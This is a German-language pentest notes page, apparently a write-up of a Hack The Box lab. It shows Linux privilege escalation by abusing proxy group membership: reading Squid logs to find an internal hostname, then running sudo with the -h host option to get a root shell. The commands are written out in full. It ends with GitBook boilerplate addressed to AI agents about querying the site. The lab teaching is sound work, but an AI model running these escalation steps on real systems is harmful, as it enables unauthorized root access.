> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/user-groups/proxy-group-linux-privilege-escalation.md).

# Missbrauch der proxy-Gruppe - Linux-Privilegieneskalation

## Was es ist

Gefährliche lokale Gruppenmitgliedschaften können privilegierte Ressourcen offenlegen, ohne dass ein Kernel-Exploit erforderlich ist. Gruppen wie docker, lxd, adm oder proxy können Host-Kontrolle, Zugriff auf sensible Protokolle oder Konfigurationspfade gewähren, die für laterale Bewegung und Root-Eskalation nützlich sind. Diese spezielle Seite konzentriert sich auf **Benutzergruppe (Proxy)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
id
groups
```

## Beispiele

Missbrauch von Proxy und Hostnamen

Durch die Prüfung der Gruppen des Benutzers sehen wir, dass wir zur Proxy-Gruppe gehören. Wir suchen nach zugehörigen Dateien:

<figure><img src="/files/86b14e7c00c4f2e888abd6cd8f13355e02181a17" alt=""><figcaption></figcaption></figure>

Beim Untersuchen der Squid-Logs (`/var/log/squid/access.log.1`), suchen wir nach proxy-bezogenen Einträgen und Dateien im Besitz der Gruppe:

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/1375d008489d2831a98c122b24cbe2ee1b7989e7" alt=""><figcaption></figcaption></figure>

Wir entdecken eine interne Subdomain: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/3b09b23cfdbfe806a9da178b5900c0aa5cf30ba4" alt=""><figcaption></figcaption></figure>

Durch die Überprüfung der sudo-Richtlinien für diesen spezifischen Bereich stellen wir fest, dass wir vollständige Berechtigungen haben:

```bash
sudo -h offramp.expressway.htb -l
```

Ergebnis: Wir können in diesem Host-Kontext jeden Befehl als root ausführen.

<figure><img src="/files/fe84aac6ab6361c7bc9e37bab80d2cb33b4a3305" alt=""><figcaption></figcaption></figure>

**Abschließende Ausführung für Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/4fb8084d709e3191d8f4415c7018d8df7bfd30c8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/user-groups/proxy-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
